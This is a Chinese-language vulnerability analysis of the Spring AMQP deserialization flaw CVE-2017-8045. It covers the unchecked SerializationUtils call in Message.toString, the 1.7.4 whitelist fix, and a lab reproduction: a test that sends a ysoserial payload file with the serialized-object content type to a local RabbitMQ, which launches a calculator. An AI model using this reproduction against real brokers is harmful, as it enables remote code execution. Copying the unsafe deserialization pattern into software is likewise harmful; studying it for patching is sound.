最近国外研究人员先后爆出Spring Data REST远程代码执行漏洞(CVE-2017-8046)和Spring AMQP远程代码执行漏洞(CVE-2017-8045),CVE-2017-8046关注的人比较多,这里对CVE-2017-8045进行简单分析
在Spring AMQP的Message类中,文件路径为spring-amqp/src/main/java/org/springframework/amqp/core/Message.java。getBodyContentAsString方法中将接收到的消息进行反序列化操作,从而导致任意代码执行。代码如下:
private String getBodyContentAsString() {
if (this.body == null) {
return null;
}
try {
String contentType = (this.messageProperties != null) ? this.messageProperties.getContentType() : null;
if (MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT.equals(contentType)) {
return SerializationUtils.deserialize(this.body).toString();
}
......
}
可以看到这里如果要触发漏洞,其中一个条件是要将请求的ContentType设置为application/x-java-serialized-object。
public static final String CONTENT_TYPE_SERIALIZED_OBJECT = "application/x-java-serialized-object";
先分析存在漏洞的代码版本spring-amqp-1.7.3.RELEASE,整个项目代码中共有两处提供反序列化方法的类,分别是SerializerMessageConverter类和SerializationUtils类。
其中SerializerMessageConverter继承了WhiteListDeserializingMessageConverter类并实现了反序列化方法deserialize,代码如下:
private Object deserialize(ByteArrayInputStream inputStream) throws IOException {
try {
ObjectInputStream objectInputStream = new ConfigurableObjectInputStream(inputStream,
this.defaultDeserializerClassLoader) {
@Override
protected Class<?> resolveClass(ObjectStreamClass classDesc)
throws IOException, ClassNotFoundException {
Class<?> clazz = super.resolveClass(classDesc);
checkWhiteList(clazz);
return clazz;
}
};
return objectInputStream.readObject();
}
catch (ClassNotFoundException ex) {
throw new NestedIOException("Failed to deserialize object type", ex);
}
}
上面代码可以看到在deserialize函数中hook了objectInputStream的resolveClass方法并调用WhiteListDeserializingMessageConverter类的checkWhiteList方法对反序列化的类进行白名单检查,如果反序列化的类不在白名单就抛出异常。WhiteListDeserializingMessageConverter类中同时实现了setWhiteListPatterns方法来设置反序列化的白名单。但在1.7.3版本中并未见到任何地方使用该函数进行白名单设置,所以这个白名单控制还是依赖使用到spring-amqp的开发人员自行设置,如果开发人员不设置依旧可能存在反序列化漏洞。
在SerializationUtils类的反序列化方法中则未进行任何安全校验:
public static Object deserialize(byte[] bytes) {
if (bytes == null) {
return null;
}
try {
return deserialize(new ObjectInputStream(new ByteArrayInputStream(bytes)));
}
......
public static Object deserialize(ObjectInputStream stream) {
if (stream == null) {
return null;
}
try {
return stream.readObject();
}
......
}
而本次漏洞触发点getBodyContentAsString函数中调用的正是SerializationUtils的deserialize方法。
Message类中toString方法调用了getBodyContentAsString函数,而该漏洞发现者介绍,该方法在代码中许多错误处理及日志记录中会调用到并给出了相关demo。该程序只允许接收JSON格式消息,此时使用ysoserial生成payload,并将 Content-Type设置为application/x-java-serialized-object,然后发送消息,因为demo程序只允许接收json格式消息,所以会触发异常,从而调用并将消息带入toString函数触发漏洞执行任意代码。
可以使用spring-amqp-samples中的demo,将Application中container方法中添加:
listenerAdapter.setMessageConverter(new Jackson2JsonMessageConverter());
在测试用例中修改发送消息格式:
public void test() throws Exception {
InputStream in = new FileInputStream("testfile");
ByteArrayOutputStream bytestream = new ByteArrayOutputStream();
int ch;
while((ch = in.read()) != -1) {
bytestream.write(ch);
}
byte[] data = bytestream.toByteArray();
Message message = MessageBuilder.withBody(data)
.setContentType(MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT)
.setMessageId("8045")
.setHeader("foo", "test")
.build();
rabbitTemplate.convertAndSend(Application.queueName, message);
receiver.getLatch().await(10000, TimeUnit.MILLISECONDS);
}
安装RabbitMQ,mac下安装使用命令即可:
brew install rabbitmq
运行RabbitMQ,并在浏览器打开localhost:15672看是否已运行,默认账号密码为guest。在resources目录创建application.properties文件,内容如下:
spring.rabbitmq.host=localhost
spring.rabbitmq.port=5672
spring.rabbitmq.username=guest
spring.rabbitmq.password=guest
spring.rabbitmq.virtualHost=
使用ysoserial生成payload文件,在pom依赖中添加commons-collections 3.1,接着调试运行即可进入到tosting函数,并弹出计算器:。
在修复版本以1.7.4为例,getBodyContentAsString中反序列化接口改为调用SerializerMessageConverter的fromMessage方法将AMQP消息转换为对象,并使用setWhiteListPatterns函数设置了允许被反序列化类的白名单,只允许反序列化java.util.*和java.lang.*开头的类:
static {
SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*"));
}
详细见https://github.com/spring-projects/spring-amqp/commit/36e55998f6352ba3498be950ccab1d5f4d0ce655